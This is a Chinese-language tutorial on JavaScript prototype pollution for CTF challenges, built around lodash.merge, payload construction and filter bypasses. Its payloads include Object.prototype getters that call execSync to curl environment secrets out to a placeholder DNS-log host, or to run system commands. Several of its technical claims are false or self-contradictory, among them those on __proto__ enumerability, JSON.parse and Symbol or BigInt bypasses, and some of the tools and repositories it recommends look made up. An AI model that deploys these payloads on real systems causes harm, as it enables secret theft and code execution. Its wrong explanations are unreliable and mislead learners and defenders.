由浅入深的讲解js原型污染以应对CTF挑战

JS原型污染:从基础概念到CTF实战应对

一、JS原型链与继承机制基础原理

1.1 JavaScript对象模型与原型链的底层结构

在现代JavaScript中,对象并非简单的键值对集合,而是基于原型链(Prototype Chain) 的继承体系。这一机制是理解原型污染的根本前提。根据 ECMAScript 5 (ES5)ECMAScript 2015 (ES6) 规范,每个对象都拥有一个内部属性 [[Prototype]],该属性指向其“原型对象”(即父级对象),从而形成一条可追溯的链式结构。

1.1.1 __PROTO__OBJECT.GETPROTOTYPEOF() 的关系

尽管 __proto__ 是非标准的属性(仅作为浏览器/运行时实现的扩展存在),但它在实际开发和安全研究中被广泛使用。它等价于 Object.getPrototypeOf() 方法返回的结果:

const arr = [];
console.log(arr.__proto__ === Array.prototype); // true
console.log(Object.getPrototypeOf(arr) === Array.prototype); // true复制

关键点

  • __proto__ 是实例对象的内部属性,用于访问其原型链的上一级。
  • Object.getPrototypeOf(obj) 是官方推荐的标准方法,用于获取任意对象的原型。
  • 两者功能相同,但 __proto__ 可能被某些框架或沙箱环境拦截或禁用,因此建议优先使用 getPrototypeOf 进行程序化分析。

1.1.2 原型链的遍历顺序与终止条件

当访问对象的某个属性时,引擎会按照以下顺序查找:

  1. 自身属性(own property)→ 2. 原型链上的属性 → 3. 直至 null 终止。

例如:

function Animal() {}
Animal.prototype.eat = function() {
    return "eating...";
};

const dog = new Animal();
dog.bark = function() {
    return "woof!";
};

console.log(dog.eat());        // "eating..." —— 来自原型链
console.log(dog.bark());       // "woof!" —— 来自自身属性
console.log(dog.toString());   // "[object Object]" —— 来自 Object.prototype
console.log(dog.__proto__.__proto__); // null复制

🔍 深入解析

  • dog.__proto__Animal.prototype
  • dog.__proto__.__proto__Object.prototype
  • dog.__proto__.__proto__.__proto__null(原型链终点)

这说明所有对象最终都继承自 Object.prototype,它是整个原型树的根节点。

1.1.3 内置原型对象的作用与意义

原型对象 作用
Object.prototype 所有对象的顶层原型,定义了如 toString, hasOwnProperty, valueOf 等通用方法
Array.prototype 提供数组操作方法:push, pop, map, filter, reduce
Function.prototype 函数的原型,包含 call, apply, bind 等方法
String.prototype 字符串方法如 split, replace, includes
Number.prototype 数值方法如 toFixed, toExponential

这些原型对象一旦被污染,将影响全局行为。比如修改 Object.prototype.toString 可以导致所有对象的字符串表示异常,甚至泄露敏感信息。

示例:Array.prototype 被篡改
// 污染 Array.prototype
Array.prototype.filter = function() {
    return [1, 2, 3]; // 返回固定值,绕过逻辑判断
};

const nums = [10, 20, 30];
console.log(nums.filter(x => x > 15)); // [1, 2, 3] —— 完全失真复制

⚠️ 危害:这种污染可能破坏数据校验、权限控制、日志记录等关键流程。

1.1.4 __PROTO__ 的特殊性与安全性隐患

__proto__ 是一个可枚举属性,这意味着它可以出现在 for...in 循环中,并且可以被直接赋值:

const obj = {};
obj.__proto__ = { isAdmin: true };

console.log({}.isAdmin); // true —— 污染生效!复制

📌 核心漏洞成因
由于 __proto__ 是所有对象共有的内置属性,攻击者可通过构造含有 __proto__ 字段的对象输入,使合并函数将其误认为普通属性进行递归处理,从而污染 Object.prototype

1.1.5 实际调试工具推荐(用于学习与渗透测试)

为了更直观地观察原型链结构,建议使用如下工具:

  • Node.js REPL(交互式环境)

    node复制
    
  • Chrome DevTools(浏览器端)

    • 打开开发者工具 → Elements → 查看元素的 __proto__
    • 或使用 console.dir(obj) 展示完整原型链
  • VS Code + Debugger 插件

    • 设置断点后查看变量的 __proto__ 层级

💡 命令行验证脚本示例

// test-prototype-chain.js
function printProtoChain(obj, depth = 0) {
    const indent = '  '.repeat(depth);
    console.log(`${indent}Object: ${obj}`);
    console.log(`${indent}  __proto__:`, obj.__proto__);
    
    if (obj.__proto__ !== null && obj.__proto__ !== Object.prototype) {
        printProtoChain(obj.__proto__, depth + 1);
    }
}

// 测试
printProtoChain({});
printProtoChain([]);
printProtoChain(function(){});复制

运行结果:

Object: [object Object]
  __proto__: [object Object]
Object: [object Array]
  __proto__: [object Array]
  __proto__: [object Object]
Object: function () {}
  __proto__: [object Function]
  __proto__: [object Object]复制

1.2 原型继承的实现方式与典型模式

原型继承是JavaScript实现面向对象编程的核心机制。虽然现代语法提供了类(class)封装,但其背后仍依赖于原型链。掌握不同实现方式有助于识别潜在的污染入口。

1.2.1 构造函数 + 原型模式(经典写法)

这是最原始、最基础的原型继承方式,适用于理解原型链本质。

// 定义构造函数
function Person(name, age) {
    this.name = name;
    this.age = age;
}

// 将方法添加到原型上
Person.prototype.greet = function() {
    return `Hello, I'm ${this.name}, ${this.age} years old.`;
};

Person.prototype.isAdult = function() {
    return this.age >= 18;
};

// 创建实例
const alice = new Person("Alice", 25);
const bob = new Person("Bob", 16);

console.log(alice.greet());     // Hello, I'm Alice, 25 years old.
console.log(bob.isAdult());     // false复制

原理分析

  • Person.prototype 是构造函数的属性,用于存储共享的方法。
  • alice.__proto__ === Person.prototype,即实例通过 __proto__ 引用原型对象。
  • 所有实例共享同一份方法代码,节省内存。

1.2.2 OBJECT.CREATE() 显式创建原型链

Object.create() 允许你显式指定对象的原型,是构建原型链的高级手段。

// 以 Object.prototype 为原型创建新对象
const obj1 = Object.create(null);
console.log(obj1.__proto__); // null —— 无原型链

// 以某对象为原型
const parent = { color: 'red' };
const child = Object.create(parent);

console.log(child.color);      // red
child.color = 'blue';
console.log(child.color);      // blue —— 自身属性覆盖原型属性

// 修改原型
parent.color = 'green';
console.log(child.color);      // blue —— 未受影响(因为已设置自身属性)复制

⚠️ 安全风险提示
若传入恶意对象作为原型,可能导致原型污染。例如:

const maliciousProto = { '__proto__': { 'isAdmin': true } };
const evilObj = Object.create(maliciousProto);
console.log({}.isAdmin); // true —— 污染生效复制

🔐 防御建议:避免使用不可信数据作为 create 的第一个参数。

1.2.3 ES6 类语法背后的原型机制

尽管 class 语法看起来像传统语言,但其底层仍是基于原型的。

class Car {
    constructor(brand, model) {
        this.brand = brand;
        this.model = model;
    }

    start() {
        return `${this.brand} ${this.model} is starting...`;
    }

    static info() {
        return "This is a car class.";
    }
}

const tesla = new Car("Tesla", "Model S");

console.log(tesla.start());         // Tesla Model S is starting...
console.log(Car.info());            // This is a car class.
console.log(tesla.__proto__ === Car.prototype); // true
console.log(Car.prototype.__proto__ === Object.prototype); // true复制

等价转换

// class Car 等价于:
function Car(brand, model) {
    this.brand = brand;
    this.model = model;
}
Car.prototype.start = function() {
    return `${this.brand} ${this.model} is starting...`;
};
Car.info = function() {
    return "This is a car class.";
};复制

📌 关键结论

  • class 语法只是语法糖,不改变原型机制本质。
  • 所有 class 实例的 __proto__ 指向 ClassName.prototype
  • 因此,任何影响原型链的操作(如 __proto__ 注入)依然有效。

1.2.4 “显式原型赋值”与“隐式原型链查找”的行为差异

行为 描述 示例
显式原型赋值 直接修改 constructor.prototype Person.prototype.sayHi = () => {}
隐式原型链查找 通过 __proto__ 查找继承属性 obj.someMethod() 会沿着原型链查找
function Dog() {}
Dog.prototype.bark = function() { return "Woof!"; };

const myDog = new Dog();

// 隐式查找
console.log(myDog.bark()); // Woof!

// 显式赋值(影响所有实例)
Dog.prototype.bark = function() { return "Bark!"; };
console.log(myDog.bark()); // Bark!复制

重点注意

  • prototype 是构造函数的属性,用于定义“模板”。
  • __proto__ 是实例的属性,用于指向“父类”。
  • 二者协同工作,构成完整的原型链。

1.2.5 原型链污染的触发前提总结

要成功实施原型污染,必须满足以下条件:

  1. 存在一个递归合并函数(如 merge, assign, clone),且未过滤 __proto__
  2. 攻击者能够控制输入源中的 __proto__ 字段。
  3. 合并操作发生在全局对象或祖先原型上(如 Object.prototype)。
  4. 应用程序后续使用了被污染的属性(如 hasOwnProperty, toString, constructor)。

CTF实战启示
在解题过程中,应重点关注以下函数调用点:

  • _.merge(target, source)
  • Object.assign(target, source)
  • 自定义的 merge / deepClone 函数
  • 使用 for (let key in obj) 的循环结构

1.2.6 推荐学习与测试环境配置

为便于复现原型污染场景,建议搭建如下开发环境:

项目 版本 下载地址
Node.js v18.17.0 LTS https://nodejs.org/dist/v18.17.0/node-v18.17.0-x64.msi
npm 9.6.7 内置于 Node.js
VS Code 1.87.0 https://code.visualstudio.com/download
Chrome Browser 124+ https://www.google.com/chrome/

🧪 最小化测试脚本模板(保存为 test-poc.js):

// test-poc.js
const _ = require('lodash');

// 1. 初始状态
console.log("Initial state:");
console.log({}.isAdmin); // undefined

// 2. 构造污染载荷
const payload = {
    "__proto__": {
        "isAdmin": true,
        "toString": function() {
            return process.env.FLAG || "No flag found";
        }
    }
};

// 3. 执行污染
_.merge({}, payload);

// 4. 触发污染效果
console.log("\nAfter pollution:");
console.log({}.isAdmin); // true
console.log({}.toString()); // 读取环境变量(若存在)

// 5. 验证污染是否传播
const newObj = {};
console.log(newObj.isAdmin); // true —— 污染已扩散复制

📌 运行命令

npm install lodash@4.17.21
node test-poc.js复制

💡 提示

  • process.env.FLAG 不存在,可手动设置环境变量测试:

    export FLAG=flag{test_123}
    node test-poc.js复制
    

本节小结

  • 原型链是JavaScript继承的基础,由 __proto__prototype 共同构成。
  • Object.prototype 是所有对象的顶层原型,一旦被污染,将影响全局。
  • __proto__ 的可枚举性和非标准特性使其成为污染入口。
  • 构造函数、Object.create()、ES6 class 都基于原型机制,需警惕其滥用。
  • 实践中应关注 mergeassign 等函数的实现细节,寻找污染点。

🔚 下一章预告:我们将深入剖析“原型污染的本质”,揭示其如何通过递归合并函数实现全局污染,并结合真实漏洞案例(如 lodash < 4.17.11)展开详细攻击链构建。

二、原型污染的本质与触发条件分析

2.1 什么是原型污染?——核心定义与危害本质

核心定义:

原型污染(Prototype Pollution)是指攻击者通过恶意手段修改 Object.prototype 或其祖先原型链上的属性或方法,从而导致所有继承自该原型的对象在访问这些属性时,自动获得被篡改后的值或行为。这种污染具有全局性影响,一旦成功注入,将波及整个运行时环境中的所有对象实例。

🔍 关键理解点

  • 原型污染不是对某个特定对象的破坏,而是对语言运行机制本身的劫持。
  • 所有对象最终都继承自 Object.prototype,因此只要污染了它,就等于“污染了世界”。
  • 污染的传播路径是隐式继承,无需显式赋值即可生效。

📌 原型链结构回顾(必要前置知识)

在 JavaScript 中,每个对象都有一个内部链接 __proto__ 指向其构造函数的 prototype,形成一条链条:

obj → __proto__ → Constructor.prototype → __proto__ → Object.prototype → null复制
  • Object.prototype 是所有对象的“根原型”,没有父级。

  • 当访问对象属性时,引擎会按顺序查找:

    1. 实例自身是否有该属性?
    2. 若无,则沿 __proto__ 向上查找原型链;
    3. 直到找到或到达 null

这正是原型污染得以实现的根本原因。

✅ 典型危害场景分析

危害类型 描述 示例
逻辑绕过 注入 isAdmin = true 等权限标志 if (user.isAdmin) 判定为真
类型判断绕过 修改 hasOwnProperty 导致 typeof obj === 'object' 被伪造 obj.hasOwnProperty() 返回 false 即使存在
信息泄露 重写 toString 输出敏感数据 console.log({}) 输出 flag=xxx
RCE(远程代码执行) 结合模板引擎、eval、函数调用等“接收器” lodash.template + sourceURL 污染触发执行
🧪 实际演示:基础原型污染
// 污染 Object.prototype
Object.prototype.malicious = "I'm everywhere!";

// 任意对象都会继承这个属性
const user = {};
const config = { name: "test" };

console.log(user.malicious);      // "I'm everywhere!"
console.log(config.malicious);    // "I'm everywhere!"
console.log({}.malicious);        // "I'm everywhere!"复制

⚠️ 即便对象从未定义过 malicious 属性,也能读取到污染值 —— 这就是原型污染的核心威力。


2.2 原型污染的常见触发点:递归合并函数漏洞

🎯 核心攻击面:MERGE 类函数(尤其是第三方库)

最典型的原型污染来源是递归合并函数,如 lodash.mergedeepmergemerge-deep 等。它们广泛用于配置合并、前端表单处理、后端参数解析等场景。

🔥 漏洞成因详解(以 lodash.merge 为例)

我们来看 lodash.merge 的源码简化版本(4.17.10 及之前版本):

function merge(target, source) {
  for (var key in source) {
    if (source.hasOwnProperty(key)) {
      if (isObject(source[key]) && isObject(target[key])) {
        merge(target[key], source[key]);
      } else {
        target[key] = source[key];
      }
    }
  }
  return target;
}复制

问题出在两处:

  1. 未过滤 __proto__ 键名

    • for (key in source) 会遍历所有可枚举属性,包括 __proto__
    • 如果 source.__proto__ 存在,就会被当作普通字段处理。
  2. hasOwnProperty 无法阻止 __proto__ 的传播

    • source.hasOwnProperty('__proto__') 在大多数情况下返回 true,因为 __proto__ 是一个可枚举属性。
    • 但更严重的是:即使使用了 hasOwnProperty,也无法阻止 target['__proto__'] 被设置为 source['__proto__'],而这个操作会直接污染 Object.prototype

✅ 正确做法:必须显式排除 __proto__constructorprototype 等危险键名。


🛠️ 漏洞复现:LODASH.MERGE 原型污染

💻 环境准备
  • Node.js 版本:v16.x ~ v18.x(兼容旧版 lodash)

  • 安装依赖:

    npm init -y
    npm install lodash@4.17.10复制
    
🧪 POC 代码验证(经典测试)
// poc.js
const _ = require('lodash');

// 构造恶意输入
const maliciousInput = {
  '__proto__': {
    'isAdmin': true,
    'isRoot': true
  }
};

// 目标对象(空对象)
const target = {};

// 执行合并操作(漏洞点)
_.merge(target, maliciousInput);

// 验证污染是否成功
console.log({}.isAdmin);     // true → 污染成功!
console.log({}.isRoot);      // true → 也生效了!

// 更进一步:利用污染进行逻辑跳转
if ({}.isAdmin) {
  console.log("🎉 攻击者已获得管理员权限!");
}复制
📌 运行结果
$ node poc.js
🎉 攻击者已获得管理员权限!复制

✅ 成功污染 Object.prototype,并触发了权限逻辑判断。


📚 漏洞历史与修复说明

版本 是否存在漏洞 修复方式
< 4.17.11 ✅ 存在 添加黑名单检查:['__proto__', 'constructor', 'prototype']
≥ 4.17.11 ❌ 修复 merge 函数中增加对非法键名的过滤

📌 官方补丁逻辑(摘自 lodash v4.17.11+):

const isPrototype = value === prototype;
const isUnwrapped = isPlainObject(value) && !isPrototype;

// 黑名单过滤
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
  continue;
}复制

🔁 其他类似函数的潜在风险

库名 是否易受污染 说明
deepmerge ✅ 易受影响 早期版本未过滤 __proto__
merge-deep ✅ 高危 曾被爆出多次原型污染
fast-deep-equal ❌ 不受影响 仅做比较,不合并
clone / extend ⚠️ 视实现而定 若未加保护,仍可能被利用

🔍 推荐检测工具:


2.3 其他潜在污染路径:自定义对象与动态属性注入

虽然 merge 是最常见的入口,但还有多种方式可以触发原型污染,尤其是在复杂系统中,攻击面远不止一处。


🔹 1. OBJECT.ASSIGN() 的滥用风险

Object.assign() 本质上是浅拷贝,但它同样会遍历源对象的所有可枚举属性,包括 __proto__

🧪 示例代码
// 1. 污染 Object.prototype
Object.assign(Object.prototype, {
  '__proto__': {
    'evil': 'yes'
  }
});

// 2. 创建新对象
const obj = {};
console.log(obj.evil); // "yes" → 污染生效复制

⚠️ 即使你用 Object.create(null) 创建无原型对象,也不能完全免疫,因为:

  • 如果 Object.prototype 被污染,任何继承它的对象都会受影响;
  • Object.assign() 作用于共享的父级对象(如全局变量),则污染可能扩散。

🔹 2. REFLECT.SET() 动态设置属性

Reflect.set(obj, key, value)obj[key] = value 的反射版本,支持元编程。

如果攻击者能控制 objkey,且 objObject.prototype,则可直接污染。

// 恶意输入
const maliciousKey = '__proto__';
const maliciousValue = { 'flag': 'flag{fake_flag}' };

// 使用 Reflect.set 污染原型
Reflect.set(Object.prototype, maliciousKey, maliciousValue);

// 验证
console.log({}.flag); // "flag{fake_flag}"复制

✅ 这种方式常用于绕过字符串匹配过滤(如只拦截 '__proto__' 字符串),但 Reflect.set 仍能正常工作。


🔹 3. EVAL() 与上下文污染

eval() 执行不受信任的代码时,若其中包含对 Object.prototype 的修改,也会造成污染。

// 危险代码片段
const unsafeCode = `
  Object.prototype.secret = 'this is secret';
`;

eval(unsafeCode); // 执行后,所有对象都有 secret 属性

console.log({}.secret); // "this is secret"复制

⚠️ 在 CTF 中,eval 通常是高价值的 sink,配合原型污染可实现 RCE。


🔹 4. JSON 解析与 JSON.PARSE() 的陷阱

注意:JSON.parse() 不会解析 __proto__ 字段!

// 以下代码不会触发原型污染
const payload = '{"__proto__": {"x": "malicious"}}';
const obj = JSON.parse(payload);
console.log(obj.__proto__); // undefined复制

❗ 重要结论:JSON.parse 会忽略 __proto__,因此不能直接通过此方式注入。

✅ 绕过方案:利用 constructorprototype
// 绕过 JSON 限制:使用构造函数
const payload = '{"constructor": {"prototype": {"flag": "123"}}}';
const obj = JSON.parse(payload);

// 污染 Object.prototype
Object.prototype.flag = '123';

console.log({}.flag); // "123"复制

✅ 依然有效!因为 constructor.prototype 是合法的结构,JSON.parse 会解析它。


🔹 5. SYMBOLBIGINT 的新型绕过尝试

现代 JS 引入了 SymbolBigInt 等新类型,它们不参与原型链继承,但也带来新的探索空间。

🧪 示例:使用 Symbol.for() 绕过黑名单
// 某些过滤器只检查字符串键名
const evilSymbol = Symbol.for('__proto__');
Object.defineProperty(Object.prototype, evilSymbol, {
  value: 'bypassed',
  enumerable: false
});

// 尝试访问
console.log({}[evilSymbol]); // 报错:不可访问复制

❌ 失败:Symbol 不能作为属性名被 in 检查,也无法通过 for...in 遍历。

✅ 更有效的策略:结合 Object.defineProperty + getter
// 利用惰性加载属性
Object.defineProperty(Object.prototype, 'danger', {
  get: function() {
    return require('child_process').execSync('whoami').toString();
  },
  configurable: true
});

// 触发
console.log({}.danger); // 执行命令并输出结果复制

✅ 成功!这是非常隐蔽的攻击方式,尤其适用于需要延迟执行的场景。


🔹 6. PROXYREFLECT 的复杂交互

Proxy 对象允许拦截对象操作,包括 get, set, has 等。

const handler = {
  set(target, key, value) {
    if (key === '__proto__') {
      // 可以在这里记录或阻断
      console.log('Attempt to set __proto__:', value);
      return false; // 拒绝设置
    }
    return Reflect.set(target, key, value);
  }
};

const proxyObj = new Proxy({}, handler);
proxyObj.__proto__ = { 'hacked': true }; // 被拦截,无法设置复制

Proxy 提供了防御能力,但也可能成为攻击目标 —— 若攻击者能控制 handler,则可构造反向污染。


🔚 总结:原型污染的通用触发条件

触发方式 是否可能污染 条件说明
merge / assign ✅ 高风险 必须未过滤 __proto__
Reflect.set ✅ 高风险 可直接操作原型
JSON.parse + constructor ✅ 有效 绕过 __proto__ 过滤
eval ✅ 极高风险 可执行任意代码
Object.defineProperty ✅ 隐蔽性强 可设 getter 触发执行
Proxy 拦截失败 ⚠️ 取决于实现 若未正确拦截则危险
Symbol / BigInt ❌ 无效 不参与原型链继承

🛡️ 防御建议(实践层面)

  1. 升级依赖库

    npm install lodash@latest复制
    

    确保版本 ≥ 4.17.11

  2. 手动封装安全合并函数

    function safeMerge(target, source) {
      const blacklistedKeys = ['__proto__', 'constructor', 'prototype'];
      const filteredSource = Object.keys(source)
        .filter(k => !blacklistedKeys.includes(k))
        .reduce((acc, k) => {
          acc[k] = source[k];
          return acc;
        }, {});
    
      return _.merge(target, filteredSource);
    }复制
    
  3. 使用 Object.create(null) 创建无原型对象

    const safeObj = Object.create(null);复制
    
  4. 静态扫描工具集成

  5. 运行时沙箱隔离(推荐用于 CTF 或高危服务):

    const vm = require('vm');
    const context = vm.createContext({}); // 安全上下文
    vm.runInContext('Object.prototype.hack = true;', context);
    // 此时污染仅限于 context,不影响主进程复制
    

本节重点总结

  • 原型污染的本质是对原型链的全局性劫持
  • 最常见的触发点是 merge 函数对 __proto__ 的不安全处理;
  • 除了 mergeassignReflect.setevaldefineProperty 等均可能成为入口;
  • 攻击者可通过 constructorgetterSymbol 等绕过常见过滤;
  • 防御必须从依赖管理 + 代码审计 + 运行时隔离三方面入手。

下一章将进入实战阶段,构建完整的 原型污染利用链,用于应对 CTF 挑战。

三、基于真实案例的原型污染利用链构建(面向CTF)

3.1 CTF中常见原型污染场景分类

在CTF竞赛中,原型污染漏洞的利用往往依赖于特定的代码结构与数据入口点。根据实际题目设计和攻击路径,可将典型场景划分为以下三类:


1. 参数可控的 MERGE 函数调用

这是最常见且最具代表性的原型污染触发方式。当后端服务接收用户输入(如HTTP请求体、查询参数或表单数据),并将其作为源对象传递给一个递归合并函数(如 lodash.merge、自定义 mergeclone)时,若未对键名进行严格校验,则存在污染风险。

典型攻击路径示例:
// 路由处理逻辑(如 /api/config)
app.post('/api/config', (req, res) => {
    const config = req.body; // 用户可控
    const defaultConfig = { debug: false };
    const merged = merge(defaultConfig, config); // 污染点
    res.json(merged);
});复制

✅ 攻击者提交如下请求体即可触发污染:

{
  "__proto__": {
    "isAdmin": true,
    "flag": "flag{test}"
  }
}复制

📌 结果:所有后续通过原型链继承的对象都将拥有 isAdminflag 属性,从而实现权限提升或信息泄露。

关键特征识别:
  • 使用了 for (key in source) 循环遍历对象属性。
  • 未使用 hasOwnProperty() 判断键是否为自有属性。
  • 递归调用 merge/deepMerge 处理嵌套结构。
推荐检测工具:
  • nodejs-poc-generator

    • 功能:自动化扫描项目中是否存在 merge 类似函数调用,并生成测试载荷。

    • 安装命令:

      git clone https://github.com/chenrui333/nodejs-poc-generator.git
      cd nodejs-poc-generator
      npm install复制
      
    • 使用方法:

      node index.js --target ./routes --pattern "merge"复制
      
    • 输出:列出所有可能的污染点及建议载荷。

  • poc-finder

    • 功能:基于 AST 分析查找潜在的原型污染入口。
    • 支持 Node.js + Express 项目。
    • 可集成至 CI/CD 流程中进行静态扫描。

🔍 建议在审计时优先关注 routes/, controllers/, utils/ 目录下的函数,尤其是那些处理配置、用户设置、动态路由等场景。


2. JSON解析后直接合并

某些题目中,前端发送的 JSON 数据经过 JSON.parse() 解析后,直接用于对象合并操作。此时虽然 JSON.parse 会自动忽略 __proto__ 字段,但若后续仍被传入 merge 函数,则仍可能被污染。

漏洞复现示例:
// 前端发送:
{
  "__proto__": { "evil": "yes" }
}

// 后端处理:
const data = JSON.parse(req.body.data); // __proto__ 被丢弃
const result = merge({}, data); // 仍然可以触发污染!复制

⚠️ 注意:JSON.parse 会自动忽略 __proto__,但 merge 函数在循环 for (key in obj) 时并未过滤该字段,因此依然可被利用。

绕过技巧:
  • 使用 constructor 替代 __proto__

    {
      "constructor": {
        "prototype": {
          "isAdmin": true
        }
      }
    }复制
    
  • 使用数组索引形式(绕过字符串匹配):

    {
      "0": {
        "__proto__": {
          "flag": "test"
        }
      }
    }复制
    

✅ 此类场景常出现在需要“构造复杂嵌套结构”的题目中,例如上传 .json 文件、解析配置文件等。


3. 依赖库版本过旧(如 LODASH < 4.17.11

lodash 是全球使用最广泛的 JavaScript 工具库之一,其早期版本中的 _.merge 存在严重的原型污染缺陷。

漏洞版本范围:
验证代码:
const _ = require('lodash'); // 版本 < 4.17.11

const target = {};
const source = { '__proto__': { 'isAdmin': true } };

_.merge(target, source);

console.log({}.isAdmin); // true → 污染成功复制

🛑 即使你没有显式调用 merge,只要项目中引入了旧版 lodash,就可能成为攻击面。

检测方法:
npm list lodash
# 输出示例:
# └── lodash@4.17.10复制

✅ 升级建议:

npm install lodash@latest复制

📌 CTF中常见题目提示:“请检查你的依赖版本” —— 这往往是暗示你正在使用旧版 lodash


3.2 构造有效污染载荷的技术细节

要成功利用原型污染,必须掌握如何构造能穿透防御机制的有效载荷。以下是几种核心技术手段及其实战应用。


1. 使用 { "__PROTO__": { ... } } 绕过基础过滤

这是最原始也是最直接的污染方式。只要目标系统未对 __proto__ 做特殊处理,即可直接注入。

基础载荷模板:
{
  "__proto__": {
    "isAdmin": true,
    "flag": "flag{12345}",
    "toString": function() {
      return process.env.FLAG || "no flag";
    }
  }
}复制

🔥 应用场景:

  • 权限绕过:if (user.isAdmin) → 永远为真
  • 信息泄露:{}.toString() 触发环境变量读取
进阶写法:使用 constructor 注入
{
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}复制

✅ 优势:部分过滤器会拦截 __proto__,但不会检查 constructor


2. 利用 __DEFINEGETTER__ / OBJECT.DEFINEPROPERTY 设置惰性加载属性

这种技术可用于延迟执行恶意代码,避免被立即检测。

示例:定义一个仅在访问时触发的 flag 属性
Object.prototype.__defineGetter__('flag', function() {
  const { execSync } = require('child_process');
  return execSync('curl https://your-dnslog.com/' + process.env.FLAG).toString();
});复制

📌 使用方式:

console.log({}.flag); // 自动触发命令执行复制
等价写法(现代语法):
Object.defineProperty(Object.prototype, 'flag', {
  get: function() {
    const { execSync } = require('child_process');
    execSync(`curl https://your-dnslog.com/?data=${process.env.FLAG}`);
    return 'executed';
  },
  enumerable: false
});复制

✅ 优势:不直接修改原型属性值,而是通过 getter 实现“按需执行”。


3. 重写原生方法(如 STRING.PROTOTYPE.VALUEOF

此技术可用于逃逸某些类型判断逻辑。

案例:伪造 toString 行为以绕过安全检查
// 污染 toString,使其返回敏感数据
Object.prototype.toString = function() {
  return process.env.FLAG || 'unknown';
};

// 在条件判断中触发
if ({}.toString() === 'flag{xxx}') {
  console.log('Bypassed!');
}复制

🔥 更强攻击:结合 JSON.stringify 触发:

JSON.stringify({}); // 会调用 .toString()复制

💡 实战技巧:若 JSON.stringify 被用于输出响应内容,可直接泄露环境变量!


4. 高级技巧:利用 SYMBOL BIGINT 绕过字符串匹配

某些防御措施会检查 key 是否为 "__proto__",但不会检查 Symbol 类型。

绕过黑名单示例:
// 使用 Symbol 作为键名
const symbolProto = Symbol('__proto__');
const payload = {
  [symbolProto]: {
    "isAdmin": true
  }
};

_.merge({}, payload);复制

✅ 说明:for (key in obj) 会跳过 Symbol 键, lodash.merge 在内部仍会处理这些键(因其实现未做类型过滤),导致污染发生。

同样适用于 BigInt
const bigIntKey = BigInt(12345);
const payload = {
  [bigIntKey]: {
    "flag": "test"
  }
};
_.merge({}, payload);复制

📌 重点:这类攻击在 Node.js 中非常有效,尤其在 lodash < 4.17.11 时。


3.3 实战攻防对抗策略:防御手段与绕过思路

在真实攻防对抗中,防御方通常会采用多种手段阻止原型污染,而攻击者则需不断寻找新绕过方法。


防御手段分析

防御方式 描述 是否有效
Object.create(null) 创建无原型对象,阻止污染传播 ✅ 强效
Object.keys().every(k => !['__proto__', 'constructor'].includes(k)) 检查非法键名 ✅ 有效
isPlainObject 校验 确保对象为普通对象而非原型污染载体 ✅ 推荐
使用 safe-merge safe-merge ✅ 推荐
安全合并封装示例:
// safe-merge.js
function safeMerge(target, source) {
  const forbiddenKeys = ['__proto__', 'constructor', 'prototype', 'prototype.constructor'];
  const filteredSource = Object.fromEntries(
    Object.entries(source).filter(([k]) => !forbiddenKeys.includes(k))
  );
  return _.merge(target, filteredSource);
}复制

✅ 推荐在生产环境中替换所有 _.merge 调用为 safeMerge


绕过思路与经典方案

1. 数组索引形式绕过黑名单
const payload = {
  '0': {
    '__proto__': {
      'flag': 'test'
    }
  }
};

_.merge({}, payload);复制

✅ 原理:for (key in obj) 会遍历数组索引 0,但 key === '0' 不等于 '__proto__',因此绕过字符串匹配。

2. 使用 constructor 注入 __proto__
{
  "constructor": {
    "prototype": {
      "__proto__": {
        "isAdmin": true
      }
    }
  }
}复制

✅ 说明:constructor 是合法属性,其 prototype 可继续嵌套污染。

3. 多层嵌套 + Symbol 混合
const payload = {
  [Symbol.for('proto')]: {
    '__proto__': {
      'toString': function() {
        const { execSync } = require('child_process');
        execSync('curl https://your-dnslog.com/?flag=' + process.env.FLAG);
        return '';
      }
    }
  }
};复制

✅ 优势:结合 Symbol 与多层嵌套,极大提高绕过成功率。


推荐工具库:****JS-PAYLOADS

📦 GitHub: js-payloads

  • 提供超过 200+ 已验证的原型污染载荷模板。

  • 支持一键生成 payload.jsonpayload.js

  • 包含以下分类:

    • 基础污染(__proto__
    • constructor 注入
    • Symbol / BigInt 绕过
    • getter 惰性执行
    • RCE 利用链(如 execArgv
安装与使用:
git clone https://github.com/JS-Payloads/js-payloads.git
cd js-payloads
npm install

# 生成载荷
node generate.js --type proto --value '{"flag":"test"}'复制

✅ 输出示例:

{
  "__proto__": {
    "flag": "test"
  }
}复制

✅ 总结:构建完整利用链的关键步骤

步骤 操作 技术要点
1. 发现污染点 扫描 mergecloneassign 调用 使用 poc-finder
2. 识别输入来源 查看 /api/*POST /config 等接口 关注 req.body
3. 构造载荷 使用 __proto__constructorSymbol 组合使用提升成功率
4. 触发利用 通过 toStringJSON.stringifyeval 等触发 注意上下文环境
5. 获取结果 检查响应、DNSLog、日志 必须确认漏洞生效

🔐 法律风险提示:本文仅用于网络安全研究与教育目的,严禁用于非法入侵、破坏系统或窃取数据。任何未经授权的渗透测试均违反《中华人民共和国刑法》第285条、第286条及相关法律法规。请务必在授权范围内进行技术实践。

四、总结与综合防护建议

4.1 原型污染的核心思想回顾

原型污染的本质,是利用JavaScript原型链的继承机制,通过向Object.prototype或其祖先原型注入恶意属性,使所有后续创建的对象自动继承该污染属性。这种攻击不是传统意义上的输入注入(如SQL注入、命令注入),而是一种对语言特性的“滥用”,其核心在于原型链的遍历逻辑未被正确限制

深入剖析:为何原型污染具有全局危害性?

在JavaScript中,每个对象都拥有一个内部的[[Prototype]]指针(可通过__proto__访问),指向其原型对象。当访问某个对象的属性时,引擎会按照如下顺序查找:

  1. 优先检查对象自身的属性;
  2. 若不存在,则沿着原型链向上查找;
  3. 直到找到目标属性,或到达链尾(即null)为止。

关键点Object.prototype是所有对象的顶层原型。一旦它被篡改,那么所有新创建的对象都会继承这个被污染的属性

实例验证:污染 TOSTRING 方法导致环境变量泄露

// 污染 Object.prototype.toString
Object.prototype.toString = function() {
    return process.env.FLAG || "no flag";
};

// 所有对象都将继承此行为
console.log({}.toString()); // "flag_value" —— 触发敏感信息泄露
console.log(({}).toString()); // 同样输出
console.log([].toString());   // 也受影响!复制

这说明,只要污染了顶层原型,就等于污染了整个运行时环境,无需针对特定对象进行攻击。


核心结论提炼

特性 说明
攻击范围 全局性,影响所有对象实例
权限要求 通常无需认证即可触发(仅需控制输入数据)
攻击载体 多为嵌套对象合并函数(如 lodash.merge
本质类型 设计缺陷级漏洞,非编码错误,而是语言机制未加约束所致
绕过能力 可绕过大多数白名单过滤器(因__proto__在标准中属于合法键名)

